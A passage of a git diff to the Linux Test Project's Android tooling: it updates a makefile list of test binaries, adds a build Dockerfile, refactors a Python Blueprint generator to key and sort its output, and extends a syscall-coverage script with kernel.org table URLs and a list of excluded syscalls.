-  ltp_testcases_bin_fs_bind_cloneNS_test06 \
-  ltp_testcases_bin_fs_bind_cloneNS_test07 \
-  ltp_testcases_bin_fs_bind_move_test01 \
-  ltp_testcases_bin_fs_bind_move_test02 \
-  ltp_testcases_bin_fs_bind_move_test03 \
-  ltp_testcases_bin_fs_bind_move_test04 \
-  ltp_testcases_bin_fs_bind_move_test05 \
-  ltp_testcases_bin_fs_bind_move_test06 \
-  ltp_testcases_bin_fs_bind_move_test07 \
   ltp_testcases_bin_fs_bind_move_test08 \
-  ltp_testcases_bin_fs_bind_move_test09 \
-  ltp_testcases_bin_fs_bind_move_test10 \
-  ltp_testcases_bin_fs_bind_move_test11 \
-  ltp_testcases_bin_fs_bind_move_test12 \
-  ltp_testcases_bin_fs_bind_move_test13 \
-  ltp_testcases_bin_fs_bind_move_test14 \
-  ltp_testcases_bin_fs_bind_move_test15 \
-  ltp_testcases_bin_fs_bind_move_test16 \
-  ltp_testcases_bin_fs_bind_move_test17 \
-  ltp_testcases_bin_fs_bind_move_test18 \
-  ltp_testcases_bin_fs_bind_move_test19 \
-  ltp_testcases_bin_fs_bind_move_test20 \
-  ltp_testcases_bin_fs_bind_move_test21 \
   ltp_testcases_bin_fs_bind_move_test22 \
   ltp_testcases_bin_fs_bind_rbind_test01 \
   ltp_testcases_bin_fs_bind_rbind_test02 \
@@ -1369,21 +1512,11 @@
   ltp_testcases_bin_fs_bind_rbind_test06 \
   ltp_testcases_bin_fs_bind_rbind_test07 \
   ltp_testcases_bin_fs_bind_rbind_test07-2 \
-  ltp_testcases_bin_fs_bind_rbind_test08 \
   ltp_testcases_bin_fs_bind_rbind_test09 \
-  ltp_testcases_bin_fs_bind_rbind_test10 \
-  ltp_testcases_bin_fs_bind_rbind_test11 \
-  ltp_testcases_bin_fs_bind_rbind_test12 \
   ltp_testcases_bin_fs_bind_rbind_test13 \
-  ltp_testcases_bin_fs_bind_rbind_test14 \
-  ltp_testcases_bin_fs_bind_rbind_test15 \
-  ltp_testcases_bin_fs_bind_rbind_test16 \
   ltp_testcases_bin_fs_bind_rbind_test17 \
-  ltp_testcases_bin_fs_bind_rbind_test18 \
-  ltp_testcases_bin_fs_bind_rbind_test19 \
   ltp_testcases_bin_fs_bind_rbind_test20 \
   ltp_testcases_bin_fs_bind_rbind_test21 \
-  ltp_testcases_bin_fs_bind_rbind_test22 \
   ltp_testcases_bin_fs_bind_rbind_test23 \
   ltp_testcases_bin_fs_bind_rbind_test24 \
   ltp_testcases_bin_fs_bind_rbind_test25 \
@@ -1401,9 +1534,6 @@
   ltp_testcases_bin_fs_bind_rbind_test37 \
   ltp_testcases_bin_fs_bind_rbind_test38 \
   ltp_testcases_bin_fs_bind_rbind_test39 \
-  ltp_testcases_bin_fs_bind_regression_test01 \
-  ltp_testcases_bin_fs_bind_regression_test02 \
-  ltp_testcases_bin_fs_bind_regression_test03 \
   ltp_testcases_bin_fs_di \
   ltp_testcases_bin_fs_inod \
   ltp_testcases_bin_fs_racer.sh \
@@ -1426,15 +1556,29 @@
   ltp_testcases_bin_ftp-upload-stress01-rmt \
   ltp_testcases_bin_ftp-upload-stress02-rmt \
   ltp_testcases_bin_ftp01 \
-  ltp_testcases_bin_ftp02 \
-  ltp_testcases_bin_ftp03 \
-  ltp_testcases_bin_ftp04 \
-  ltp_testcases_bin_ftp05 \
   ltp_testcases_bin_ftp_setup \
   ltp_testcases_bin_ftrace_lib.sh \
   ltp_testcases_bin_ftrace_regression01.sh \
   ltp_testcases_bin_ftrace_regression02.sh \
   ltp_testcases_bin_ftrace_stress_ftrace_buffer_size_kb.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_current_tracer.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_ftrace_enabled.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_function_profile_enabled.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_set_event.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_set_ftrace_filter.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_set_ftrace_pid.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_stack_max_size.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_stack_trace.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_trace.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_trace_clock.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_trace_options.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_trace_pipe.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_trace_stat.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_tracing_cpumask.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_tracing_enabled.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_tracing_max_latency.sh \
+  ltp_testcases_bin_ftrace_stress_ftrace_tracing_on.sh \
+  ltp_testcases_bin_ftrace_stress_test.sh \
   ltp_testcases_bin_gdb01.sh \
   ltp_testcases_bin_geneve01.sh \
   ltp_testcases_bin_get_ifname \
@@ -1475,6 +1619,7 @@
   ltp_testcases_bin_icmp6-multi-diffnic07 \
   ltp_testcases_bin_if-addr-adddel \
   ltp_testcases_bin_if-addr-addlarge \
+  ltp_testcases_bin_if-lib.sh \
   ltp_testcases_bin_if-mtu-change \
   ltp_testcases_bin_if-route-adddel \
   ltp_testcases_bin_if-route-addlarge \
@@ -1502,6 +1647,7 @@
   ltp_testcases_bin_ltpSockets.sh \
   ltp_testcases_bin_macsec01.sh \
   ltp_testcases_bin_macsec02.sh \
+  ltp_testcases_bin_macsec_lib.sh \
   ltp_testcases_bin_macvlan01.sh \
   ltp_testcases_bin_macvtap01.sh \
   ltp_testcases_bin_mc_cmds \
@@ -1545,8 +1691,13 @@
   ltp_testcases_bin_memcg_test_4.sh \
   ltp_testcases_bin_memcg_usage_in_bytes_test.sh \
   ltp_testcases_bin_memcg_use_hierarchy_test.sh \
+  ltp_testcases_bin_mkdir_tests.sh \
   ltp_testcases_bin_modaltr.sh \
-  ltp_testcases_bin_move_pages.sh \
+  ltp_testcases_bin_mpls01.sh \
+  ltp_testcases_bin_mpls02.sh \
+  ltp_testcases_bin_mpls03.sh \
+  ltp_testcases_bin_mpls04.sh \
+  ltp_testcases_bin_mpls_lib.sh \
   ltp_testcases_bin_myfunctions-io.sh \
   ltp_testcases_bin_myfunctions.sh \
   ltp_testcases_bin_net_cmdlib.sh \
@@ -1580,17 +1731,13 @@
   ltp_testcases_bin_route4-change-dst \
   ltp_testcases_bin_route4-change-gw \
   ltp_testcases_bin_route4-change-if \
-  ltp_testcases_bin_route4-ifdown \
   ltp_testcases_bin_route4-redirect \
   ltp_testcases_bin_route4-rmmod \
   ltp_testcases_bin_route6-change-dst \
   ltp_testcases_bin_route6-change-gw \
   ltp_testcases_bin_route6-change-if \
-  ltp_testcases_bin_route6-ifdown \
   ltp_testcases_bin_route6-redirect \
   ltp_testcases_bin_route6-rmmod \
-  ltp_testcases_bin_rpc01 \
-  ltp_testcases_bin_rpcinfo01 \
   ltp_testcases_bin_rsh01 \
   ltp_testcases_bin_run_capbounds.sh \
   ltp_testcases_bin_run_cpuctl_latency_test.sh \
@@ -1613,8 +1760,6 @@
   ltp_testcases_bin_runpwtests_exclusive03.sh \
   ltp_testcases_bin_runpwtests_exclusive04.sh \
   ltp_testcases_bin_runpwtests_exclusive05.sh \
-  ltp_testcases_bin_rup01 \
-  ltp_testcases_bin_rusers01 \
   ltp_testcases_bin_rwtest \
   ltp_testcases_bin_sched_stress.sh \
   ltp_testcases_bin_sctp01.sh \
@@ -1622,6 +1767,7 @@
   ltp_testcases_bin_sctp_ipsec_vti.sh \
   ltp_testcases_bin_sendfile01 \
   ltp_testcases_bin_set_ipv4addr \
+  ltp_testcases_bin_sit01.sh \
   ltp_testcases_bin_smack_common.sh \
   ltp_testcases_bin_smack_file_access.sh \
   ltp_testcases_bin_smack_set_ambient.sh \
@@ -1638,16 +1784,10 @@
   ltp_testcases_bin_ssh-stress01-rmt \
   ltp_testcases_bin_ssh-stress02-rmt \
   ltp_testcases_bin_ssh-stress03-rmt \
-  ltp_testcases_bin_ssh01 \
-  ltp_testcases_bin_ssh01_s1 \
-  ltp_testcases_bin_ssh02 \
-  ltp_testcases_bin_ssh02_s1 \
-  ltp_testcases_bin_ssh03 \
-  ltp_testcases_bin_ssh03_s1 \
-  ltp_testcases_bin_ssh_setup \
   ltp_testcases_bin_stop_freeze_sleep_thaw_cont.sh \
   ltp_testcases_bin_stop_freeze_thaw_cont.sh \
   ltp_testcases_bin_stress_floppy \
+  ltp_testcases_bin_sysctl01.sh \
   ltp_testcases_bin_tcp4-multi-diffip01 \
   ltp_testcases_bin_tcp4-multi-diffip02 \
   ltp_testcases_bin_tcp4-multi-diffip03 \
@@ -1956,28 +2096,22 @@
   ltp_testcases_bin_tcp6-uni-winscale12 \
   ltp_testcases_bin_tcp6-uni-winscale13 \
   ltp_testcases_bin_tcp6-uni-winscale14 \
+  ltp_testcases_bin_tcp_cc_lib.sh \
   ltp_testcases_bin_tcp_fastopen_run.sh \
   ltp_testcases_bin_tcp_ipsec.sh \
   ltp_testcases_bin_tcp_ipsec_vti.sh \
   ltp_testcases_bin_tcpdump01 \
   ltp_testcases_bin_telnet01 \
   ltp_testcases_bin_test.sh \
-  ltp_testcases_bin_test_10_1.sh \
-  ltp_testcases_bin_test_10_2.sh \
-  ltp_testcases_bin_test_3_1.sh \
-  ltp_testcases_bin_test_3_2.sh \
-  ltp_testcases_bin_test_6_1.sh \
-  ltp_testcases_bin_test_9_1.sh \
-  ltp_testcases_bin_test_9_2.sh \
   ltp_testcases_bin_test_controllers.sh \
   ltp_testcases_bin_test_ioctl \
-  ltp_testcases_bin_test_net.sh \
-  ltp_testcases_bin_test_net_stress.sh \
   ltp_testcases_bin_test_robind.sh \
   ltp_testcases_bin_testall.sh \
   ltp_testcases_bin_tracepath01.sh \
   ltp_testcases_bin_traceroute01.sh \
   ltp_testcases_bin_tst_ansi_color.sh \
+  ltp_testcases_bin_tst_net.sh \
+  ltp_testcases_bin_tst_net_stress.sh \
   ltp_testcases_bin_tst_test.sh \
   ltp_testcases_bin_udp4-multi-diffip01 \
   ltp_testcases_bin_udp4-multi-diffip02 \
@@ -2095,8 +2229,6 @@
   ltp_testcases_data_ld01_rf1.c \
   ltp_testcases_data_mc_member_ManyGroups \
   ltp_testcases_data_mc_member_TooManyGroups \
-  ltp_testcases_data_rpc01_file.1 \
-  ltp_testcases_data_rpc01_file.2 \
   ltp_testcases_data_stress_floppy_dd_file \
   ltp_testcases_data_stress_floppy_dumpdir_1K_file \
   ltp_testcases_data_unzip01_dir.out \
@@ -2105,6 +2237,9 @@
   ltp_testsf_c6 \
   ltp_testsf_s \
   ltp_testsf_s6 \
+  ltp_tgkill01 \
+  ltp_tgkill02 \
+  ltp_tgkill03 \
   ltp_thp01 \
   ltp_thp02 \
   ltp_thp03 \
@@ -2140,6 +2275,7 @@
   ltp_tomoyo_policy_memory_test \
   ltp_tomoyo_rewrite_test \
   ltp_tpci \
+  ltp_trace_sched \
   ltp_trerrno \
   ltp_truncate01 \
   ltp_truncate01_64 \
@@ -2149,6 +2285,7 @@
   ltp_truncate03_64 \
   ltp_tst_brk \
   ltp_tst_brkm \
+  ltp_tst_check_drivers \
   ltp_tst_checkpoint \
   ltp_tst_checkpoint_wait_timeout \
   ltp_tst_checkpoint_wake_timeout \
@@ -2158,11 +2295,12 @@
   ltp_tst_dataroot03 \
   ltp_tst_device \
   ltp_tst_exit \
-  ltp_tst_flush \
+  ltp_tst_expiration_timer \
   ltp_tst_fs_fill_hardlinks \
   ltp_tst_fs_fill_subdirs \
   ltp_tst_fs_has_free \
   ltp_tst_get_unused_port \
+  ltp_tst_getconf \
   ltp_tst_kvcmp \
   ltp_tst_ncpus \
   ltp_tst_ncpus_conf \
@@ -2183,6 +2321,7 @@
   ltp_tst_strerrno \
   ltp_tst_strsig \
   ltp_tst_strstatus \
+  ltp_tst_supported_fs \
   ltp_tst_tmpdir_test \
   ltp_uaccess \
   ltp_umask01 \
@@ -2195,13 +2334,15 @@
   ltp_uname01 \
   ltp_uname02 \
   ltp_uname03 \
+  ltp_uname04 \
   ltp_unlink05 \
-  ltp_unlink06 \
   ltp_unlink07 \
   ltp_unlink08 \
   ltp_unlinkat01 \
   ltp_unshare01 \
   ltp_unshare02 \
+  ltp_ustat01 \
+  ltp_ustat02 \
   ltp_utime01 \
   ltp_utime02 \
   ltp_utime03 \
@@ -2210,9 +2351,12 @@
   ltp_utime06 \
   ltp_utimensat01 \
   ltp_utimes01 \
+  ltp_verify_caps_exec \
   ltp_vfork \
   ltp_vfork01 \
   ltp_vfork02 \
+  ltp_vhangup01 \
+  ltp_vhangup02 \
   ltp_vma01 \
   ltp_vma02 \
   ltp_vma03 \
@@ -2240,6 +2384,7 @@
   ltp_waitpid12 \
   ltp_waitpid13 \
   ltp_write01 \
+  ltp_write02 \
   ltp_write03 \
   ltp_write04 \
   ltp_write05 \
diff --git a/android/tools/Dockerfile b/android/tools/Dockerfile
new file mode 100644
index 0000000..7f6a781
--- /dev/null
+++ b/android/tools/Dockerfile
@@ -0,0 +1,16 @@
+FROM ubuntu:18.04
+ARG userid
+ARG groupid
+ARG username
+ARG ltproot
+
+RUN apt-get update && apt-get install -y python autoconf build-essential libssl-dev
+
+# Set up the user so that files are owned by the proper user
+RUN groupadd -g $groupid $username \
+ && useradd -m -u $userid -g $groupid $username
+RUN mkdir -p $ltproot && chown $userid $ltproot
+ENV LTP_ROOT=$ltproot
+USER $username
+
+CMD /src/android/tools/docker_entry.sh
diff --git a/android/tools/android_build_generator.py b/android/tools/android_build_generator.py
index 5d8353a..e04589c 100644
--- a/android/tools/android_build_generator.py
+++ b/android/tools/android_build_generator.py
@@ -41,8 +41,8 @@
     '''A class to parse make output and convert the result to Android.ltp.mk modules.
 
     Attributes:
-        _bp_result: list of strings for blueprint file
-        _mk_result: list of strings for makefile
+        _bp_result: directory of list of strings for blueprint file keyed by target name
+        _mk_result: directory of list of strings for makefile keyed by target name
         _custom_cflags: dict of string (module name) to lists of strings (cflags
             to add for said module)
         _unused_custom_cflags: set of strings; tracks the modules with custom
@@ -51,8 +51,8 @@
     '''
 
     def __init__(self, custom_cflags):
-        self._bp_result = []
-        self._mk_result = []
+        self._bp_result = {}
+        self._mk_result = {}
         self._custom_cflags = custom_cflags
         self._unused_custom_cflags = set(custom_cflags)
         self._packages = []
@@ -121,64 +121,67 @@
 
         # ltp_defaults already adds the include directory
         local_c_includes = [i for i in local_c_includes if i != 'include']
+        target_name = 'ltp_%s' % base_name
+        target_bp = []
 
-        self._packages.append('ltp_%s' % base_name)
+        self._packages.append(target_name)
 
-        self._bp_result.append('cc_test {')
-        self._bp_result.append('    name: "ltp_%s",' % base_name)
-        self._bp_result.append('    stem: "%s",' % base_name)
-        self._bp_result.append('    defaults: ["ltp_test_defaults"],')
+        target_bp.append('cc_test {')
+        target_bp.append('    name: "%s",' % target_name)
+        target_bp.append('    stem: "%s",' % base_name)
+        target_bp.append('    defaults: ["ltp_test_defaults"],')
 
         if len(local_src_files) == 1:
-            self._bp_result.append('    srcs: ["%s"],' % list(local_src_files)[0])
+            target_bp.append('    srcs: ["%s"],' % list(local_src_files)[0])
         else:
-            self._bp_result.append('    srcs: [')
+            target_bp.append('    srcs: [')
             for src in local_src_files:
-                self._bp_result.append('        "%s",' % src)
-            self._bp_result.append('    ],')
+                target_bp.append('        "%s",' % src)
+            target_bp.append('    ],')
 
         if len(local_cflags) == 1:
-            self._bp_result.append('    cflags: ["%s"],' % list(local_cflags)[0])
+            target_bp.append('    cflags: ["%s"],' % list(local_cflags)[0])
         elif len(local_cflags) > 1:
-            self._bp_result.append('    cflags: [')
+            target_bp.append('    cflags: [')
             for cflag in local_cflags:
-                self._bp_result.append('        "%s",' % cflag)
-            self._bp_result.append('    ],')
+                target_bp.append('        "%s",' % cflag)
+            target_bp.append('    ],')
 
         if len(local_c_includes) == 1:
-            self._bp_result.append('    local_include_dirs: ["%s"],' % list(local_c_includes)[0])
+            target_bp.append('    local_include_dirs: ["%s"],' % list(local_c_includes)[0])
         elif len(local_c_includes) > 1:
-            self._bp_result.append('    local_include_dirs: [')
+            target_bp.append('    local_include_dirs: [')
             for d in local_c_includes:
-                self._bp_result.append('        "%s",' % d)
-            self._bp_result.append('    ],')
+                target_bp.append('        "%s",' % d)
+            target_bp.append('    ],')
 
-        bionic_builtin_libs = set(['m', 'rt', 'pthread'])
+        bionic_builtin_libs = set(['m', 'rt', 'pthread', 'util'])
         filtered_libs = set(local_libraries).difference(bionic_builtin_libs)
 
         static_libraries = set(i for i in local_libraries if i in ltp_libs)
         if len(static_libraries) == 1:
-            self._bp_result.append('    static_libs: ["libltp_%s"],' % list(static_libraries)[0])
+            target_bp.append('    static_libs: ["libltp_%s"],' % list(static_libraries)[0])
         elif len(static_libraries) > 1:
-            self._bp_result.append('    static_libs: [')
+            target_bp.append('    static_libs: [')
             for lib in static_libraries:
-                self._bp_result.append('        "libltp_%s",' % lib)
-            self._bp_result.append('    ],')
+                target_bp.append('        "libltp_%s",' % lib)
+            target_bp.append('    ],')
 
         for lib in static_libraries:
             ltp_libs_used.add(lib)
 
         shared_libraries = set(i for i in filtered_libs if i not in ltp_libs)
         if len(shared_libraries) == 1:
-            self._bp_result.append('    shared_libs: ["lib%s"],' % list(shared_libraries)[0])
+            target_bp.append('    shared_libs: ["lib%s"],' % list(shared_libraries)[0])
         elif len(shared_libraries) > 1:
-            self._bp_result.append('    shared_libs: [')
+            target_bp.append('    shared_libs: [')
             for lib in shared_libraries:
-                self._bp_result.append('        "lib%s",' % lib)
-            self._bp_result.append('    ],')
+                target_bp.append('        "lib%s",' % lib)
+            target_bp.append('    ],')
 
-        self._bp_result.append('}')
-        self._bp_result.append('')
+        target_bp.append('}')
+        target_bp.append('')
+        self._bp_result[target_name] = target_bp
 
     def BuildStaticLibrary(self, ar_target, local_src_files, local_cflags,
                            local_c_includes):
@@ -190,30 +193,59 @@
             local_cflags: list of string
             local_c_includes: list of string
         '''
-        self._bp_result.append('cc_library_static {')
-        self._bp_result.append('    name: "libltp_%s",' %
-                              self.ArTargetToLibraryName(ar_target))
-        self._bp_result.append('    defaults: ["ltp_defaults"],')
+        target_name = 'libltp_%s' % self.ArTargetToLibraryName(ar_target)
+        target_bp = []
+        target_bp.append('cc_library_static {')
+        target_bp.append('    name: "%s",' % target_name)
+        target_bp.append('    defaults: ["ltp_defaults"],')
 
         if len(local_c_includes):
-            self._bp_result.append('    local_include_dirs: [')
+            target_bp.append('    local_include_dirs: [')
             for d in local_c_includes:
-                self._bp_result.append('        "%s",' % d)
-            self._bp_result.append('    ],')
+                target_bp.append('        "%s",' % d)
+            target_bp.append('    ],')
 
         if len(local_cflags):
-            self._bp_result.append('    cflags: [')
+            target_bp.append('    cflags: [')
             for cflag in local_cflags:
-                self._bp_result.append('        "%s",' % cflag)
-            self._bp_result.append('    ],')
+                target_bp.append('        "%s",' % cflag)
+            target_bp.append('    ],')
 
-        self._bp_result.append('    srcs: [')
+        target_bp.append('    srcs: [')
         for src in local_src_files:
-            self._bp_result.append('        "%s",' % src)
-        self._bp_result.append('    ],')
+            target_bp.append('        "%s",' % src)
+        target_bp.append('    ],')
 
-        self._bp_result.append('}')
-        self._bp_result.append('')
+        target_bp.append('}')
+        target_bp.append('')
+        self._bp_result[target_name] = target_bp
+
+    def BuildShellScript(self, install_target, local_src_file):
+        '''Build a shell script.
+
+        Args:
+            install_target: string
+            local_src_file: string
+        '''
+        base_name = os.path.basename(install_target)
+        bp_result = []
+
+        module = 'ltp_%s' % install_target.replace('/', '_')
+        self._packages.append(module)
+
+        module_dir = os.path.dirname(install_target)
+        module_stem = os.path.basename(install_target)
+
+        bp_result.append('sh_test {')
+        bp_result.append('    name: "%s",' % module)
+        bp_result.append('    src: "%s",' % local_src_file)
+        bp_result.append('    sub_dir: "ltp/%s",' % module_dir)
+        bp_result.append('    filename: "%s",' % module_stem)
+        bp_result.append('    compile_multilib: "both",')
+        bp_result.append('}')
+        bp_result.append('')
+
+        self._bp_result[module] = bp_result
 
     def BuildPrebuilt(self, install_target, local_src_file):
         '''Build a prebuild module.
@@ -222,15 +254,18 @@
             install_target: string
             local_src_file: string
         '''
-        self._mk_result.append('module_prebuilt := %s' % install_target)
-        self._mk_result.append('module_src_files := %s' % local_src_file)
+        base_name = os.path.basename(install_target)
+        mk_result = []
+        mk_result.append('module_prebuilt := %s' % install_target)
+        mk_result.append('module_src_files := %s' % local_src_file)
         module_dir = os.path.dirname(install_target)
         module_stem = os.path.basename(install_target)
         module = 'ltp_%s' % install_target.replace('/', '_')
         self._packages.append(module)
 
-        self._mk_result.append('include $(ltp_build_prebuilt)')
-        self._mk_result.append('')
+        mk_result.append('include $(ltp_build_prebuilt)')
+        mk_result.append('')
+        self._mk_result[base_name] = mk_result
 
     def HandleParsedRule(self, line, rules):
         '''Prepare parse rules.
@@ -293,7 +328,8 @@
             "Please copy and paste them into disabled_tests.txt\n")
         for i in cc_libraries:
             if len(set(cc_libraries[i]).intersection(disabled_libs)) > 0:
-                print os.path.basename(i)
+                if not os.path.basename(i) in disabled_tests:
+                    print os.path.basename(i)
 
         print("Disabled_cflag tests: Test cases listed here are"
               "suggested to be disabled since they require a disabled cflag. "
@@ -385,16 +421,34 @@
             if len(set(local_cflags).intersection(disabled_cflags)) > 0:
                 continue
 
+            local_src_files = sorted(local_src_files)
+            local_cflags = sorted(local_cflags)
+            local_c_includes = sorted(local_c_includes)
+
             self.BuildStaticLibrary(target, local_src_files, local_cflags,
                                     local_c_includes)
 
         for target in install:
+            # Check if the absolute path to the prebuilt (relative to LTP_ROOT)
+            # is disabled. This is helpful in case there are duplicates with basename
+            # of the prebuilt.
+            #  e.g.
+            #   ./ testcases / kernel / fs / fs_bind / move / test01
+            #   ./ testcases / kernel / fs / fs_bind / cloneNS / test01
+            #   ./ testcases / kernel / fs / fs_bind / regression / test01
+            #   ./ testcases / kernel / fs / fs_bind / rbind / test01
+            #   ./ testcases / kernel / fs / fs_bind / bind / test01
+            if target in disabled_tests:
+                continue
             if os.path.basename(target) in disabled_tests:
                 continue
             local_src_files = install[target]
             assert len(local_src_files) == 1
 
-            self.BuildPrebuilt(target, local_src_files[0])
+            if target.startswith("testcases/bin/"):
+                self.BuildShellScript(target, local_src_files[0])
+            else:
+                self.BuildPrebuilt(target, local_src_files[0])
 
     def WriteAndroidBp(self, output_path):
         '''Write parse result to blueprint file.
@@ -403,8 +457,10 @@
             output_path: string
         '''
         with open(output_path, 'a') as f:
-            f.write('\n'.join(self._bp_result))
-            self._bp_result = []
+            for k in sorted(self._bp_result.iterkeys()):
+                f.write('\n'.join(self._bp_result[k]))
+                f.write('\n')
+            self._bp_result = {}
 
     def WriteAndroidMk(self, output_path):
         '''Write parse result to make file.
@@ -413,8 +469,10 @@
             output_path: string
         '''
         with open(output_path, 'a') as f:
-            f.write('\n'.join(self._mk_result))
-            self._mk_result = []
+            for k in sorted(self._mk_result.iterkeys()):
+                f.write('\n'.join(self._mk_result[k]))
+                f.write('\n')
+            self._mk_result = {}
 
     def WritePackageList(self, output_path):
         '''Write parse result to package list file.
diff --git a/android/tools/cki_coverage.py b/android/tools/cki_coverage.py
index 04d2ee9..6590ee3 100755
--- a/android/tools/cki_coverage.py
+++ b/android/tools/cki_coverage.py
@@ -34,6 +34,7 @@
 import re
 import sys
 import xml.etree.ElementTree as ET
+import subprocess
 
 if "ANDROID_BUILD_TOP" not in os.environ:
   print ("Please set up your Android build environment by running "
@@ -51,6 +52,87 @@
 
 bionic_libc_root = os.path.join(os.environ["ANDROID_BUILD_TOP"], "bionic/libc")
 
+src_url_start = 'https://git.kernel.org/pub/scm/linux/kernel/git/'
+tip_url = 'torvalds/linux.git/plain/'
+stable_url = 'stable/linux.git/plain/'
+unistd_h = 'include/uapi/asm-generic/unistd.h'
+arm64_unistd32_h = 'arch/arm64/include/asm/unistd32.h'
+arm_syscall_tbl = 'arch/arm/tools/syscall.tbl'
+x86_syscall_tbl = 'arch/x86/entry/syscalls/syscall_32.tbl'
+x86_64_syscall_tbl = 'arch/x86/entry/syscalls/syscall_64.tbl'
+
+unistd_h_url = src_url_start
+arm64_unistd32_h_url = src_url_start
+arm_syscall_tbl_url = src_url_start
+x86_syscall_tbl_url = src_url_start
+x86_64_syscall_tbl_url = src_url_start
+
+# Syscalls which are either banned, optional, or deprecated, so not part of the
+# CKI.
+CKI_BLACKLIST = [
+        'acct',                    # CONFIG_BSD_PROCESS_ACCT
+        'fanotify_init',           # CONFIG_FANOTIFY
+        'fanotify_mark',           # CONFIG_FANOTIFY
+        'get_mempolicy',           # CONFIG_NUMA
+        'init_module',             # b/112470257 (use finit_module)
+        'ipc',                     # CONFIG_SYSVIPC
+        'kcmp',                    # CONFIG_CHECKPOINT_RESTORE
+        'kexec_file_load',         # CONFIG_EXEC_FILE
+        'kexec_load',              # CONFIG_KEXEC
+        'lookup_dcookie',          # b/112474343 (requires kernel module)
+        'mbind',                   # CONFIG_NUMA
+        'membarrier',              # CONFIG_MEMBARRIER
+        'migrate_pages',           # CONFIG_NUMA
+        'move_pages',              # CONFIG_MIGRATION
+        'mq_getsetattr',           # CONFIG_POSIX_MQUEUE
+        'mq_notify',               # CONFIG_POSIX_MQUEUE
+        'mq_open',                 # CONFIG_POSIX_MQUEUE
+        'mq_timedreceive',         # CONFIG_POSIX_MQUEUE
+        'mq_timedsend',            # CONFIG_POSIX_MQUEUE
+        'mq_unlink',               # CONFIG_POSIX_MQUEUE
+        'msgctl',                  # CONFIG_SYSVIPC
+        'msgget',                  # CONFIG_SYSVIPC
+        'msgrcv',                  # CONFIG_SYSVIPC
+        'msgsnd',                  # CONFIG_SYSVIPC
+        'name_to_handle_at',       # CONFIG_FHANDLE
+        'nfsservctl',              # not present after 3.1
+        'open_by_handle_at',       # CONFIG_FHANDLE
+        'pciconfig_iobase',        # not present for arm/x86
+        'pciconfig_read',          # CONFIG_PCI_SYSCALL
+        'pciconfig_write',         # CONFIG_PCI_SYSCALL
+        'pkey_alloc',              # CONFIG_MMU, added in 4.9
+        'pkey_free',               # CONFIG_MMU, added in 4.9
+        'pkey_mprotect',           # CONFIG_MMU, added in 4.9
+        'rseq',                    # CONFIG_RSEQ
+        'semctl',                  # CONFIG_SYSVIPC
+        'semget',                  # CONFIG_SYSVIPC
+        'semop',                   # CONFIG_SYSVIPC
+        'semtimedop',              # CONFIG_SYSVIPC
+        'set_mempolicy',           # CONFIG_NUMA
+        'sgetmask',                # CONFIG_SGETMASK_SYSCALL
+        'shmat',                   # CONFIG_SYSVIPC
+        'shmctl',                  # CONFIG_SYSVIPC
+        'shmdt',                   # CONFIG_SYSVIPC
+        'shmget',                  # CONFIG_SYSVIPC
+        'ssetmask',                # CONFIG_SGETMASK_SYSCALL
+        'stime',                   # deprecated
+        'syscall',                 # deprecated
+        '_sysctl',                 # CONFIG_SYSCTL_SYSCALL
+        'sysfs',                   # CONFIG_SYSFS_SYSCALL
+        'uselib',                  # CONFIG_USELIB
+        'userfaultfd',             # CONFIG_USERFAULTFD
+        'vm86',                    # CONFIG_X86_LEGACY_VM86
+        'vm86old',                 # CONFIG_X86_LEGACY_VM86
+        'vserver',                 # deprecated
+]
+
+EXTERNAL_TESTS = [ ("bpf", "libbpf_android/BpfLoadTest.cpp"),
+                   ("bpf", "libbpf_android/BpfMapTest.cpp"),
+                   ("bpf", "netd/libbpf/BpfMapTest.cpp"),
+                   ("bpf", "api/bpf_native_test/BpfTest.cpp"),
+                   ("clock_adjtime", "kselftest/timers/valid-adjtimex.c"),
+                   ("seccomp", "kselftest/seccomp_bpf")
+                 ]
 
 class CKI_Coverage(object):
   """Determines current test coverage of CKI system calls in LTP.
@@ -67,8 +149,9 @@
   coverage when in fact they do.
   """
 
-  LTP_SYSCALL_ROOT = os.path.join(os.environ["ANDROID_BUILD_TOP"],
-                                  "external/ltp/testcases/kernel/syscalls")
+  LTP_KERNEL_ROOT = os.path.join(os.environ["ANDROID_BUILD_TOP"],
+                                 "external/ltp/testcases/kernel")
+  LTP_KERNEL_TESTSUITES = ["syscalls", "timers"]
   DISABLED_IN_LTP_PATH = os.path.join(os.environ["ANDROID_BUILD_TOP"],
                         "external/ltp/android/tools/disabled_tests.txt")
 
@@ -82,11 +165,6 @@
 
   syscall_tests = {}
   disabled_tests = {}
-  failing_tests = {}
-  skipped_tests = {}
-  passing_tests = {}
-
-  test_results = {}
 
   def __init__(self, arch):
     self._arch = arch
@@ -96,11 +174,16 @@
 
     Load the list of all syscall tests existing in LTP.
     """
-    for path, dirs, files in os.walk(self.LTP_SYSCALL_ROOT):
+    for testsuite in self.LTP_KERNEL_TESTSUITES:
+      self.__load_ltp_testsuite(testsuite)
+
+  def __load_ltp_testsuite(self, testsuite):
+    root = os.path.join(self.LTP_KERNEL_ROOT, testsuite)
+    for path, dirs, files in os.walk(root):
       for filename in files:
         basename, ext = os.path.splitext(filename)
         if ext != ".c": continue
-        self.ltp_full_set.append(basename)
+        self.ltp_full_set.append("%s.%s" % (testsuite, basename))
 
   def load_ltp_disabled_tests(self):
     """Load the list of LTP tests not being compiled.
@@ -117,55 +200,6 @@
         if not test_match: continue
         self.disabled_in_ltp.append(test_match.group(1))
 
-  def parse_test_results(self, results):
-    """Parse xml from VTS output to collect LTP results.
-
-    Parse xml to collect pass/fail results for each LTP
-    test. A failure occurs if a test has a result other than pass or fail.
-
-    Args:
-      results: Path to VTS output XML file.
-    """
-    tree = ET.parse(results)
-    root = tree.getroot()
-    found = False
-
-    # find LTP module
-    for module in root.findall("Module"):
